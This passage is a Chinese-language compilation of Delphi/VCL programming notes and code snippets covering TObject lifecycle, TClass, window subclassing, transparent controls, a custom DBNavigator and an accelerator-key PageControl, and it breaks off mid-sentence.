命的诞生是一个漫长的孕育过程，而死亡却相对的短暂，这似乎是一种必然的规律。
在对象的构造和析构过程中，调用了NewInstance和FreeInstance两个虚函
数，来创建和释放对象实例的内存空间。之所以将这两个函数声明为虚函数，是
为了能让用户在编写需要用户自己管理内存的特殊对象类时（如在一些特殊的工
业控制程序中），有扩展的空间。
而将AfterConstruction和BeforeDestruction
声明为虚函数，也是为了将来派生的类在产生对象之后，有机会让新诞生的对象
呼吸第一口新鲜空气，而在对象消亡之前可以允许对象完成善后事宜，这都是合
情合理的事。其实，TForm对象和TDataModule对象的OnCreate事件和
OnDestroy事件，就是在TForm和TDataModule重载的这两个虚函数过程分别触发的。
此外，TObjec还提供了一个Free方法，它不是虚方法，它是为了那些搞不清对
象是否为空（nil）的情况下能安全释放对象而专门提供的。其实，搞不清对象
是否为空，本身就有程序逻辑不清晰的问题。不过，任何人都不是完美的，都可
能犯错，使用Free能避免偶然的错误也是件好事。然而，编写正确的程序不能
一味依靠这样的解决方法，还是应该以保证程序的逻辑正确性为编程的第一目标！
有兴趣的朋友可以读一读System单元的原代码，
其中，大量的代码是用汇编语言书写的。细心的朋友可以发现，TObject的构造
函数Create和析构函数Destory竟然没有写任何代码，其实，在调试状态下通过
Debug的CPU窗口，可清楚地反映出Create和Destory的汇编代码。因为，缔造
DELPHI的大师门不想将过多复杂的东西提供给用户，他们希望用户在简单的概
念上编写应用程序，将复杂的工作隐藏在系统的内部由他们承担。所以，在发布
System.pas单元时特别将这两个函数的代码去掉，让用户认为TObject是万物
之源，用户派生的类完全从虚无中开始，这本身并没有错。虽然，阅读DELPHI
的这些最本质的代码需要少量的汇编语言知识，但阅读这样的代码，可以让我们
更深刻认识DELPHI世界的起源和发展的基本规律。即使看不太懂，能起码了解
一些基本东西，对我们编写DELPHI程序也是大有帮助。

第二节 TClass原子
在System.pas单元中，TClass是这样定义的：
TClass = class of TObject;
它的意思是说，TClass是TObject的类。因为
TObject本身就是一个类，所以TClass就是所谓的类的类。
从概念上说，TClass是类的类型，即，类之类。
但是，我们知道DELPHI的一个类，代表着一项VMT数据。因此，类之类可以认为
是为VMT数据项定义的类型，其实，它就是一个指向VMT数据的指针类型！
在以前传统的C++语言中，是不能定义类的类型的。对象一旦编译就固定下来，
类的结构信息已经转化为绝对的机器代码，在内存中将不存在完整的类信息。一
些较高级的面向对象语言才可支持对类信息的动态访问和调用，但往往需要一套
复杂的内部解释机制和较多的系统资源。而DELPHI的Object Pascal语言吸收
了一些高级面向对象语言的优秀特征，又保留可将程序直接编译成机器代码的传
统优点，比较完美地解决了高级功能与程序效率的问题。
正是由于DELPHI在应用程序中保留了完整的类信
息，才能提供诸如as和is等在运行时刻转换和判别类的高级面向对象功能，而
类的VMT数据在其中起了关键性的核心作用。有兴趣的朋友可以读一读System单
元的AsClass和IsClass两个汇编过程，他们是as和is操作符的实现代码，以加
深对类和VMT数据的理解。


截获消息处理

unit FTSubCls;
{How to intercept messages that a form gets from one of it's components}
interface

uses
SysUtils, WinTypes, WinProcs, Messages, Classes, Controls, Forms;

type

  TFTSubclassWnd = class(TComponent)
private
FNewWndProcPtr : TFarProc;
FOldWndProcPtr : TFarProc;
FWindowHandle : HWnd;
protected
{ Virtual methods for descendants
}
procedure NewWndProc(var Message: TMessage); virtual;
abstract;
procedure AssignHandle;
virtual;
{ Component methods }
procedure ReplaceWndProc;
procedure
RestoreWndProc;
procedure CallOldWndProc(var Message:
TMessage);
{ Protected properties }
property NewWndProcPtr: TFarProc read FNewWndProcPtr;
property OldWndProcPtr: TFarProc read FOldWndProcPtr;
property WindowHandle: HWnd read FWindowHandle;
public
{ Construction/destruction }
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
end;

implementation

constructor TFTSubclassWnd.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
if not (AOwner is TForm) then
raise Exception.Create('Owner must be form');
AssignHandle;
ReplaceWndProc;
end;

destructor TFTSubclassWnd.Destroy;
begin
RestoreWndProc;
inherited Destroy;
end;

procedure TFTSubclassWnd.CallOldWndProc(var Message: TMessage);
begin
with Message do
Result := CallWindowProc(FOldWndProcPtr, FWindowHandle, Msg, wParam, lParam);
end;

procedure TFTSubclassWnd.AssignHandle;
begin
with (Owner as TForm) do begin
{ Ensure the window handle has been allocated }
HandleNeeded;
{ Assign window handle (with special processing for MDI parent forms }
if (FormStyle = fsMDIForm) then
FWindowHandle := ClientHandle
else
FWindowHandle := Handle;
end;
end;

procedure TFTSubclassWnd.ReplaceWndProc;
begin
{ Save pointer to
old WndProc }
FOldWndProcPtr := Pointer(GetWindowLong(FWindowHandle,
GWL_WNDPROC));
{ Create pointer to NewWndProc }
FNewWndProcPtr := MakeObjectInstance(NewWndProc);
if (FNewWndProcPtr =
nil) then
raise EOutOfResources.Create('Cannot allocate
WndProc handle');
{ Subclass window by setting GWL_WNDPROC to
NewWndProc }
SetWindowLong(FWindowHandle, GWL_WNDPROC,
LongInt(FNewWndProcPtr));
end;

procedure TFTSubclassWnd.RestoreWndProc;
begin
SetWindowLong(FWindowHandle, GWL_WNDPROC, LongInt(FOldWndProcPtr));
if FNewWndProcPtr <> nil then
FreeObjectInstance(FNewWndProcPtr);
end;

end.

(*
You'll need to descend any components which need to "listen" to the form's
messages from the TSubclassWnd component. In your descendant component, you'll
need to override the NewWndProc procedure, and provide a message handler that
looks for messages of interest. For example, your procedure will look something
like this:
Procedure TMaleyComponent.NewWndProc(var Message: TMessage);
begin
if (Message.Msg = WM_SIZE) then { Do something };
end;
*)


为数据明了控件增加无效变灰功能

{Most data aware components are capable of visually showing that they
are disabled (by changing the text color to gray) or enabled (by setting
the color to a user-defined windows text color). Some data aware
controls such as TDBGrid, TDBRichEdit (in Delphi 3.0) and also TDBEdit
(when connected to a numeric or date field) do not display this behavior.

The code below uses RTTI (Run Time Type Information) to extract
property information and use that information to set the font color to
gray if the control is disabled. If the control is enabled, the text
color is set to the standard windows text color.

What follows is the step by step creation of a simple example which
consists of a TForm with a TButton and a TDBRichEdit that
demonstrates this behavior.

1. Select File|New Application from the Delphi menu bar.
2. Drop a TDataSource, a TTable, a TButton and a TDBEdit
onto the form.
3. Set the DatabaseName property of the table to 'DBDEMOS'.
4. Set the TableName property of the table to 'ORDERS.DB'.
5. Set the DataSet property of the datasource to 'Table1'.
6. Set the DataSource property of the DBEdit to 'DataSource1'.
7. Set the DataField property of the DBEdit to 'CustNo'.
8. Set the Active property of the DBEdit to 'False'.
9. Add 'TypInfo' to the uses clause of the form.

Below is the actual procedure to put in the implementation
section of your unit:}

// This procedure will either set the text color of a
// dataware control to gray or the user defined color
// constant in clInfoText.
procedure SetDBControlColor(aControl: TControl);
var
FontPropInfo: PPropInfo;
begin
// Check to see if the control is a dataware control
if (GetPropInfo(aControl.ClassInfo, 'DataSource') <> nil) then begin
// Extract the front property
FontPropInfo:= GetPropInfo(aControl.ClassInfo, 'Font');
// Check if the control is enabled/disabled
if (aControl.Enabled = false) then
// If disabled, set the font color to gray
TFont(GetOrdProp(aControl, FontPropInfo)).Color:= clGrayText
else
// If enabled, set the font color to clInfoText
TFont(GetOrdProp(aControl, FontPropInfo)).Color:= clInfoText;
end;
end;

{The code for the buttonclick event handler should contain:}

// This code will cycle through the Controls array and call
// SetDbControlColor for each control on your form
// making sure the font text color is set to what it
// should be.

procedure TForm1.Button1Click(Sender: TObject);
var
i: integer;
begin
// Loop through the control array
for i:= 0 to ControlCount-1 do
SetDBControlColor(Controls[i]);
end;


创建自定义的Form继承类

unit myform;

interface

uses Messages, Windows, SysUtils, Classes, Controls, Forms;

type
TMyForm = class(TCustomForm)
private
FNewProp: String;
protected
public
published
property
NewProp: String read FNewProp write FNewProp;  // ex. of a new form
property
property ActiveControl;
property Align;
property AutoScroll;
property BorderStyle;
property
BorderIcons;
property Caption stored
True;
property ClientHeight;
property ClientWidth;
property
Color;
property DragCursor;
property
DragMode;
property Enabled;
property
Font;
property Height stored True;
property HorzScrollBar;
property
KeyPreview;
property ParentColor;
property ParentCtl3D;
property
ParentFont;
property ParentShowHint;
property PixelsPerInch;
property
PopupMenu;
property PrintScale;
property Scaled;
property ShowHint;
property TabStop;
property
VertScrollBar;
property Width stored
True;
property OnActivate;
property
OnClick;
property OnClose;
property
OnCloseQuery;
property OnCreate;
property OnDblClick;
property
OnDestroy;
property OnDeactivate;
property OnDragDrop;
property
OnDragOver;
property OnHide;
property OnHelp;
property OnKeyDown;
property OnKeyPress;
property
OnKeyUp;
property OnMouseDown;
property OnMouseMove;
property
OnMouseUp;
property OnPaint;
property OnResize;
property OnShow;
end;

implementation

end.
>>>> end unit <<<<

{Here is the expert necessary to create instances of this class from the IDE:}
>>>> begin expert <<<<
unit newmod;

interface

procedure Register;

implementation

uses Windows, SysUtils, Classes, Controls, Forms, ExptIntf, ToolIntf,
VirtIntf,
IStreams, DsgnIntf, MyForm;

type
TMyFormExpert = class(TIExpert)
function
GetName: string; override;
function GetComment: string;
override;
function GetGlyph: HICON;
override;
function GetStyle: TExpertStyle;
override;
function GetState: TExpertState;
override;
function GetIDString: string;
override;
function GetAuthor: string;
override;
function GetPage: string;
override;
function GetMenuText: string;
override;
procedure Execute; override;
end;

{ TMyFormExpert }

function TMyFormExpert.GetName: string;
begin
Result := 'My
Form';
end;

function TMyFormExpert.GetComment: string;
begin
Result := 'Custom form';
end;

function TMyFormExpert.GetGlyph: HICON;
begin
Result := LoadIcon(HInstance, '');
end;

function TMyFormExpert.GetStyle: TExpertStyle;
begin
Result := esForm;
end;

function TMyFormExpert.GetState: TExpertState;
begin
Result := [esEnabled];
end;

function TMyFormExpert.GetIDString: string;
begin
Result := 'MyForm.Expert';
end;

function TMyFormExpert.GetAuthor: string;
begin
Result := 'Borland';
end;

function TMyFormExpert.GetPage: string;
begin
Result := 'Forms';
end;

function TMyFormExpert.GetMenuText: string;
begin
Result := '';
end;

const
FormUnitSource =
'unit %0:s;'#13#10 +
#13#10 +
'interface'#13#10 +
#13#10 +
'uses Windows, SysUtils, Messages, Classes, Graphics, Controls,'#13#10 +
' StdCtrls, ExtCtrls, MyForm;'#13#10 +
#13#10 +
'type'#13#10 +
' T%1:s = class(TMyForm)'#13#10 +
' private'#13#10 +
' { Private declarations }'#13#10 +
' public'#13#10 +
' { Public declarations }'#13#10 +
' end;'#13#10 +
#13#10 +
'var'#13#10 +
' %1:s: T%1:s;'#13#10 +
#13#10 +
'implementation'#13#10 +
#13#10 +
'{$R *.DFM}'#13#10 +
#13#10 +
'end.'#13#10;

FormDfmSource = 'object %s: T%0:s end';

procedure TMyFormExpert.Execute;
var
UnitIdent, Filename: string;
FormName: string;
CodeStream: TIStream;
DFMStream: TIStream;
DFMString, DFMVCLStream: TStream;
begin
if not ToolServices.GetNewModuleName(UnitIdent, FileName) then Exit;
FormName := 'MyForm' + Copy(UnitIdent, 5, 255);
CodeStream :=
TIStreamAdapter.Create(TStringStream.Create(Format(FormUnitSource,
[UnitIdent, FormName])), True);
try
CodeStream.AddRef;
DFMString := TStringStream.Create(Format(FormDfmSource, [FormName]));
try
DFMVCLStream := TMemoryStream.Create;
try
ObjectTextToResource(DFMString, DFMVCLStream);
DFMVCLStream.Position := 0;
except
DFMVCLStream.Free;
end;
DFMStream := TIStreamAdapter.Create(DFMVCLStream, True);
try
DFMStream.AddRef;
ToolServices.CreateModuleEx(FileName, FormName, 'TMyForm', '',
CodeStream, DFMStream, [cmAddToProject, cmShowSource, cmShowForm,
cmUnNamed, cmMarkModified]);
finally
DFMStream.Free;
end;
finally
DFMString.Free;
end;
finally
CodeStream.Free;
end;
end;

procedure Register;
begin
RegisterCustomModule(TMyForm,
TCustomModule);
RegisterLibraryExpert(TMyFormExpert.Create);
end;

end.


透明的控件

将一个FORM变成透明的实质性手段就是拦截CMEraseBkgnd消息。

unit Utransform; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, ExtCtrls; type TForm1 = class(TForm)

private { Private declarations }

public { Public declarations }

PROCEDURE CMEraseBkgnd(var Message:TWMEraseBkgnd);Message WM_ERASEBKGND;

end;

var Form1: TForm1;

implementation

{$R *.DFM}

PROCEDURE Tform1.CMEraseBkgnd(var Message:TWMEraseBkgnd);

BEGIN

brush.style:=bsClear;

Inherited;

END;

end.

//////////////////////////////////////
procedure
TForm1.FormCreate(Sender: TObject);
begin
Form1.Brush.Style :=
bsClear;
Form1.BorderStyle := bsNone
end;

procedure TForm1.BitBtn1Click(Sender: TObject);
begin
Application.Terminate;
end;
/////////////////////////////////////////////
用透明的控件呗. 一般继承自TGraphicControl的
(就是那些没有handle属性, 不能有focus的控件, 如image)
都有Transparent属性. 对TWinControl类的控件, 要实现透明只要完成以下
四步基本上就成了.
1.在Create中设定ControlStyle :=
ControlStyle - [csOpaque];)
2. override 它的CreateParams方法, exstyle 里加上WS_EX_TRANSPARENT.
3. 修改它的parent的window style, 去掉WS_CLIPCHILDREN.

  inherited CreateParams(Params);
with Params do
begin
{ 完全重画 }
Style := Style and not
WS_CLIPCHILDREN;
Style := Style and not
WS_CLIPSIBLINGS;
{ 增加透明 }
ExStyle := ExStyle or
WS_EX_TRANSPARENT;
end;

4. 截获WM_ERASEBKGND, 什么都不做直接返回1.(不搽除背景）
一般有上面3步能成. 有些控件比如TPanel, 在它的paint中用了fillrect, 所以要实现透明的话还要override 它的paint方法， 自己画.
按钮透明需要进一步处理.
createparams里加上style := style or BS_OWNERDRAW;
然后在WM_DRAWITEM中自己画吧

unit TransButton;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls;

type
TTransButton = class(TButton)
private
FTransparent : Boolean;

procedure SetTransparent(Value: Boolean);
procedure WMEraseBkgnd(var Msg: TMessage); message WM_ERASEBKGND;
protected
procedure CreateParams(var Params: TCreateParams); override;
procedure SetParent(AParent: TWinControl); override;
published
property Transparent: Boolean read FTransparent write SetTransparent;
end;

procedure Register;

implementation

procedure Register;
begin
RegisterComponents('CX Lib', [TTransButton]);
end;

procedure TTransButton.SetTransparent(Value: Boolean);
begin
if ftransparent <> value then
begin
ftransparent := value;
if value then
controlstyle := controlstyle - [csOpaque]
else
controlstyle := controlstyle + [csOpaque];
invalidate;
end;
end;

procedure TTransButton.WMEraseBkgnd(var Msg: TMessage);
var
br: HBRUSH;
begin
if ftransparent then
msg.result := 1
else
inherited;
end;

procedure TTransButton.CreateParams(var Params:
TCreateParams);
begin
inherited CreateParams(Params);
params.exstyle := params.exstyle or WS_EX_TRANSPARENT;
end;

procedure TTransButton.SetParent(AParent: TWinControl);
begin
inherited SetParent(AParent);
if (aparent <> nil) and aparent.HandleAllocated
and (GetWindowLong(aparent.Handle, GWL_STYLE) or WS_CLIPCHILDREN <> 0) then
SetWindowLong(aparent.handle, GWL_STYLE, GetWindowLong(aparent.Handle, GWL_STYLE)
and not WS_CLIPCHILDREN);
end;

end.
//////////////////////////////////////////////////////////////
透明的TPanel
type
TPanelBorder = set of (pbInnerRaised, pbInnerSunk, pbOuterRaised, pbOuterSunk);
TTrPanel = class(TCustomPanel)
private
FTransparentRate : Integer; // 透明度

FBkGnd : TBitmap; // 背景buffer

procedure SetTransparentRate(value: Integer);

procedure WMEraseBkgnd(var Msg: TMessage); message WM_ERASEBKGND;

protected
procedure BuildBkgnd; virtual; // 生成半透明的背景
procedure SetParent(AParent : TWinControl); override;
procedure CreateParams(var Params: TCreateParams); override;
procedure Paint; override;
public
Constructor Create(AOwner: TComponent); override;
Destructor Destroy; override;
procedure SetBounds(ALeft, ATop, AWidth, AHeight: Integer); override; // resize or move
procedure Invalidate; override;
procedure InvalidateA; virtual;
published
property TransparentRate: Integer read FTransparentRate write SetTransparentRate;
property ......
........ // 可以抄TPanel里面的
end;

procedure Register;

implimentation
procedure Register;
begin
RegisterComponent('Samples', [TTrPanel]);
end;

procedure TTrPanel.SetTransparentRate(value: Integer);
begin
if (value <0) or (value > 100) then exit;
if value <> FTransparentRate then
begin
FTransparentRate := value;
Invalidate;
end;
end;

procedure TTrPanel.WMEraseBkgnd(var Msg: TMessage);
begin
Msg.Result := 1;
end;

procedure TTrPanel.SetParent(AParent: TWinControl);
begin
inherited SetParent(AParent);
if (AParent <> nil) and AParent.HandleAllocated
and (GetWindowLong(AParent.Handle, GWL_STYLE) and WS_CLIPCHILDREN <> 0)
then
SetWindowLong(AParent.Handle, GWL_STYLE,
GetWindowLong(AParent.Handle, GWL_STYLE)
and not WS_CLIPCHILDREN);
end;

procedure TTrPanel.CreateParams(.....);
begin
inherited
CreateParams(Params);
params.ExStyle := Params.ExStyle or
WS_EX_TRANSPARENT;
end;

procedure TTrPanel.Paint;
begin
if not assigned(FBkgnd) then
BuildBkgnd;
bitblt(Canvas.handle, 0, 0, width, height, FBkgnd.Canvas.Handle, 0, 0, SRCCOPY);
........
........ // 画边框, 画caption等, 就不写了.
end;
type
T24Color = record
b, g, r: Byte;
end;
P24Color := ^T24Color;

procedure TTrPanel.BuildBkgnd;
var
p, p1: P24Color;
C : LongInt;
i, j: Integer;
begin
FBkgnd := TBitmap.Create;
FBkgnd.PixelFormat := pf24Bit;
FBkgnd.Width := Width;
FBkgnd.Height := Height;
if ftransparentrate > 0 then
begin
BitBlt(FBkgnd.Canvas.handle, 0, 0, Width, Height, Canvas.Handle, 0, 0, SRCCOPY);
if ftransparentrate < 100 then // 部分透明
begin
c := ColorToRGB(Color);
// 注意: ColorToRGB得到的颜色r, b位置与
// scanline中颜色顺序正好相反.
p1 := @c;
for i := 0 to FBkgnd.Height - 1 do
begin
p := FBkgnd.Scanline[i];
for j := 0 to FBkgnd.Width - 1 do
begin
p^.r := (p^.r * ftransparentrate + p1^.b * (100-ftransparentrate)) div 100;
p^.g := (p^.g * ftransparentrate + p1^.g * (100-ftransparentrate)) div 100;
p^.b := (p^.b * ftransparentrate + p1^.r * (100-ftransparentrate)) div 100;
p := pointer(integer(p)+3);
end;
end;
end;
end
else begin // 不透明
c := CreateSolidBrush(ColorToRGB(color));
FillRect(fFBkgnd.canvas.handle, c);
deleteobject(c);
end;
controlstyle := controlstyle + [csOpaque]; // 背景没有变化时的重画不会出现闪烁
end;

Constructor TTrPanel.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
fbkgnd := nil;
fTransparentRate := 0;
end;

Destructor TTrPanel.Destroy;
begin
if assigned(fbkgnd) then
fbkgnd.free;
inherited;
end;

procedure TTrPanel.SetBounds(ALeft, ATop, AWidth, AHeight:
Integer);
begin
if ftransparentrate > 0 then
// 移动时能获得正确的背景
invalidate;
inherited;
end;

procedure TTrPanel.Invalidate; // 刷新时重新计算背景
begin
if assigned(fbkgnd) then
begin
fbkgnd.free;
fbkgnd := nil;
controlstyle := constrolstyle - [csOpaque];
end;
inherited;
end;

procedure TTrPanel.InvalidateA; // 刷新时不重新计算背景(可以加快显示速度)
begin
inherited Invalidate;
end;

end.
//////////////////////////////////////////////
unit homepage_coolform;interfaceuses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ExtCtrls, StdCtrls, Buttons;

type TForm1 = class(TForm)
procedure FormPaint(Sender:
TObject);
procedure FormShow(Sender:
TObject);
procedure FormDestroy(Sender:
TObject);
private   { Private declarations
}
public  { Public declarations
}
hbmp:integer;
end;

var Form1: TForm1;

implementation
{$R *.DFM}
function CopyScreenToBitmap(Rect:TREct):integer;
var
hScrDC, hMemDC, hBitmap, hOldBitmap:integer;
nX, nY, nX2, nY2: integer;
nWidth, nHeight:integer;
xScrn, yScrn:integer;
begin
if (IsRectEmpty(Rect)) then
begin
result:= 0;
exit;
end; // 获得屏幕缓冲区的句柄.
// a memory DC compatible to screen DC
hScrDC:= CreateDC('DISPLAY', pchar(0), pchar(0), PDeviceModeA(0));
hMemDC:= CreateCompatibleDC(hScrDC);
// get points of rectangle to grab
nX := rect.left;
nY := rect.top;
nX2 := rect.right;
nY2 := rect.bottom;
// get screen resolution
xScrn:= GetDeviceCaps(hScrDC, HORZRES);
yScrn := GetDeviceCaps(hScrDC, VERTRES);
//make sure bitmap rectangle is visible
if (nX <0) then
nX :="0;"
if (nY < 0) then
nY :="0;"
if (nX2> xScrn) then
nX2 := xScrn;
if (nY2 > yScrn) then
nY2 := yScrn;
nWidth := nX2 - nX;
nHeight := nY2 - nY;
// create a bitmap compatible with the screen DC
hBitmap := CreateCompatibleBitmap(hScrDC, nWidth, nHeight);
// select new bitmap into memory DC
hOldBitmap := SelectObject(hMemDC, hBitmap);
// bitblt screen DC to memory DC
BitBlt(hMemDC, 0, 0, nWidth, nHeight, hScrDC, nX, nY, SRCCOPY);
// select old bitmap back into memory DC and get handle to
// bitmap of the screen
hBitmap := SelectObject(hMemDC, hOldBitmap);
// clean up
DeleteDC(hScrDC);
DeleteDC(hMemDC);
result:= hBitmap;
end;

procedure TForm1.FormShow(Sender:
TObject);
Var
rect:TRect;
p:TPoint;
begin
rect:=ClientRect;
p:=ClientOrigin;
rect.left:=p.x;
rect.top:=p.y;
rect.bottom:=rect.bottom+p.y;
rect.right:=rect.right+p.x;
hbmp:=copyScreenToBitmap(rect);
inherited;
end;

procedure TForm1.FormPaint(Sender:
TObject);
var
bitmap:TBitmap;
rect:TRect;
begin
bitmap:=TBitmap.create;
bitmap.handle:=hbmp;
rect:=ClientRect;
canvas.draw(rect.left,rect.top,bitmap);
bitmap.handle:=0;
bitmap.free;
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
DeleteObject(hbmp);
end;

end.
////////////////////////////////////////////

type
TBackgroundStyle = (bsOpaque, bsTransparent);

TCustomButtonPanel = class(TScrollBox)
private
FCanvas: TCanvas; { Need a Canvas }
protected
procedure WMSize(var Message: TWMSize); message WM_SIZE;
procedure WMPaint(var Message: TWMPaint); message WM_PAINT;
procedure WMMove(var Message: TWMMove); message WM_MOVE;
procedure CreateParams(var Params: TCreateParams); override;
procedure PaintWindow(DC: HDC); override;
procedure Paint; virtual;
procedure InvalidateFrame;
property BackgroundStyle: TBackgroundStyle
read FBackgroundStyle
write SetBackgroundStyle
default bsOpaque;
... other stuff snipped ...
public
constructor Create(AOwner: TComponent); override;
property Canvas: TCanvas read FCanvas;
... other stuff snipped ...
end;

... other code and stuff snipped ...

implementation

constructor TCustomButtonPanel.Create(AOwner: TComponent);
begin
FBackgroundStyle := bsOpaque;
inherited Create(AOwner);
ControlStyle := [csAcceptsControls, csCaptureMouse,
csClickEvents,
csSetCaption, csOpaque, csDoubleClicks];
FCanvas :=
TControlCanvas.Create;
TControlCanvas(FCanvas).Control :=
Self;
end;

procedure TCustomButtonPanel.SetBackgroundStyle(Value:TBackgroundStyle);
begin
{ BackgroundStyle Set Property Handler }
if Value <> FBackgroundStyle then begin
FBackgroundStyle := Value;
RecreateWnd;
end;
end;

procedure TCustomButtonPanel.CreateParams(var Params: TCreateParams);
begin
inherited CreateParams(Params);
with Params do begin
if FBackgroundStyle = bsOpaque then
ExStyle := ExStyle and not Ws_Ex_Transparent
else
ExStyle := ExStyle or Ws_Ex_Transparent;
end;
end;

procedure TCustomButtonPanel.PaintWindow(DC: HDC);
begin
{ Setup the canvas and call the Paint routine }
FCanvas.Handle := DC;
try
Paint;
finally
FCanvas.Handle := 0;
end;
end;

procedure TCustomButtonPanel.Paint;
var
theRect: TRect;
begin
with canvas do
brush.Color := Self.Color;
theRect := GetClientRect;
if FBackgroundStyle = bsOpaque then
FillRect(theRect);
... other code and stuff snipped ...
end;
end;

procedure TCustomButtonPanel.InvalidateFrame;
var
R:
TRect;
begin
{ Handle invalidation after move in designer
}
R := BoundsRect;
InflateRect(R, 1, 1);
InvalidateRect(Parent.Handle, @R, True);
end;

procedure TCustomButtonPanel.WMMove(var Message: TWMMove);
begin
if (csDesigning in ComponentState) then
InvalidateFrame;
inherited;
end;

///////////////////////////////////////////////////
1. 使RichEdit的窗口透明. SetWindowLong(RichEdit.Handle, GWL_EXSTYLE, GetWindowLong(RichEdit.Handle,GWL_EXSTYLE) or WS_EX_TRANSPARENT);

2. 截获RichEdit的Wndproc, 处理以下消息:
CN_CTLCOLORMSGBOX..CN_CTLCOLORSTATIC: 返回一个NullBrush的handle
(防止编辑状态时清除背景).
WM_ERASEBKGND: 什么都不做就返回1(防止窗口在刷新时清除背景)


改变TDBNavigator的Button的图象

Unit MyDBNavigator;

Interface

Uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,Dialogs,
ExtCtrls, DBCtrls;

Type
TMyDBNavigator = Class(TDBNavigator)
Procedure InitMyButtons;
Public
Constructor Create(AOwner: TComponent); Override;
End;

Procedure Register;

Implementation

{$R *.RES}

Var
BtnTypeName: Array[TNavigateBtn] Of PChar = ('FIRST','PRIOR','NEXT','LAST',
'INSERT','DELETE','EDIT',
'POST','CANCEL','REFRESH');

Constructor TMyDBNavigator.Create(AOwner: TComponent);
Begin
Inherited Create(AOwner);
InitMyButtons;
End;

Procedure TMyDBNavigator.InitMyButtons;
Var
Index: TNavigateBtn;
ResName: String;
Begin
For Index := Low(Buttons) To High(Buttons) Do Begin
FmtStr(ResName, 'dbn_%s', [BtnTypeName[Index]]);
Buttons[Index].Glyph.LoadFromResourceName(HInstance, ResName);
End;
End;

Procedure Register;
Begin
RegisterComponents('My Components', [TMyDBNavigator]);
End;

End.


支持快捷键的PageControl

unit accel;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
Dialogs, ComCtrls;

type
TAccelPageCtrl = class(TPageControl)
private
{ Private declarations }
procedure CMDialogChar(var Msg: TCMDialogChar); message CM_DIALOGCHAR;
end;

procedure Register;

implementation

procedure TAccelPageCtrl.CMDialogChar(var Msg:
TCMDialogChar);
var
I: Integer;
begin
inherited;
//call the inherited message handler.
//Now with our own
component, start at Page 1 (Item 0) and work to the end.
for I := 0 to
PageCount - 1 do begin
//If accelerator key in
caption matches page then change the page and
// break out
of the loop.
if (IsAccel(Msg.CharCode,
Pages[I].Caption) AND CanChange(I)) then begin
Msg.Result := 1; //you can set this to anything, but by convention it's
1
ActivePage :=
Pages[I];
Change;
Break;
end;
end;

end;

procedure Register;
begin
RegisterComponents('Samples', [TAccelPageCtrl]);
end;

end.

{As you can see from the above. all that's required to add accelerator
key response is a simple message handler procedure. The message we're
interested in is CM_DialogChar, a Delphi custom message type
encapsulated by TCMDialogChar, which is a wrapper type for the
Windows WM_SYSCHAR message. WM_SYSCHAR is the Windows message that is
used to trap accelerator keys; you can find a good discussion of it in
the online help. The most important thing to note is what happens when
the TAccelPageCtrl component detects that a CM_DialogChar message has
fired.

Take a look at the CMDialogChar procedure, and note that all that's
going in the code is a simple for loop that starts at the first page
of the descendant object and goes to the last page, unless the key that
was pressed happened to be an accelerator key. We can easily determine
if a key is an accelerator key with the IsAccel function, which takes
the key code pressed and a string (we passed the Caption property of
the current TabSheet). IsAccel searches through the string and looks
for a matching accelerator key. If it finds one, it returns True. If
so, we set the message result value and change the page of
TAccelPageCtrl to the page where the accelerator was found by setting
the ActivePage property and calling the inherited Change procedure from
TPageControl.

I haven't used TPageControl since I created this component because of
how easy TAccelPageCtrl makes switching from TabSheet to TabSheet.
It's far easier to do a Alt-<key> combination than use the mouse when
you're at the keyboard. Play around with this and you'll be convinced
not to use the standard VCL TPageControl.}


设计期间禁止控件改变大小

procedure TVu.SetBounds(ALeft : integer;
ATop : integer;
AWidth : integer;
AHeight : integer);
begin
if csdesigning in componentstate then begin
AWidth := 50;
AHeight := 50;
inherited;
end;


使非TWinControl的子类可以响应消息

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs;

type
TMyControl = class(TControl)
private
{ Private declarations }
FHandle:THandle;
protected
{ Protected
declarations }
procedure WndProc(var Msg:TMessage);
public
{ Public declarations }
Constructor Create(Aowner:TComponent);override;
Destructor Destroy;override;
property Handle:THandle read FHandle;
published
{ Published declarations }
end;

procedure Register;

implementation

procedure Register;
begin
RegisterComponents('Samples', [TMyControl]);
end;

{ TMyControl }

constructor TMyControl.Create(Aowner: TComponent);
begin
inherited;
FHandle:=AllocateHwnd(WndProc);
end;

destructor TMyControl.Destroy;
begin
DeallocateHWnd(FHandle);
inherited;
end;

procedure TMyControl.WndProc(var Msg: TMessage);
begin
try
if Msg.Msg=wm_user+1 then
showmessage('ok')
else
msg.Result:= DefWindowProc(FHandle, Msg.msg, msg.wParam, msg.lParam);
except
Application.HandleException(Self);
end;
end;

end.

可以用postmessage(hwnd_broadcast,wm_user+1,0,0)发消息


创建非可视不在控件板的控件

 用RegisterNoIcon代替RegisterComponent


设计拨动、跳线开关组件

---- 计 算 机 测 控 系 统 中 常 使 用 各 种 计 算 机 测 试 板 卡， 在 这 些 板 卡 上 多 设 有 各
种 编 码 和 跳 线 开 关。 在 编 写 与 之 配 用 的 测 控 程 序 时， 常 需 编 写 这 些 开 关 操
作 时 的 相 应 程 序， 如 果 有 一 个 编 码 或 跳 线 开 关 组 件 是 十 分 有 帮 助 的。 以 下
是 我 用Delphi 编 写 的 一 个BiSwitch 控 件。

---- 此 控 件 由TGraphicControl 继 承 而 来， 具 有 常 用 的 属 性， 如Enabled、Tag、Hint 等， 此 外
新 增 加 了State, Color 属 性。 对 于 编 码 和 跳 线 开 关， 只 有 两 个 状 态(ON 和OFF)， 在 预
先 编 辑 好 的 资 源 文 件 中 存 有 开 关 在 不 同 状 态 下 的 图 片， 当 开 关 改 变 状 态 时
将 相 应 的 图 形 显 示 出 来， 开 关 在 屏 幕 上 就 能 被“ 拨 动” 了。Color 属 性 用 于 开 关
的 背 景 与 窗 口 背 景 颜 色 配 合， 取 红 色 有 较 好 的 视 觉 效 果， 绿 色 和 黄 色 是 电
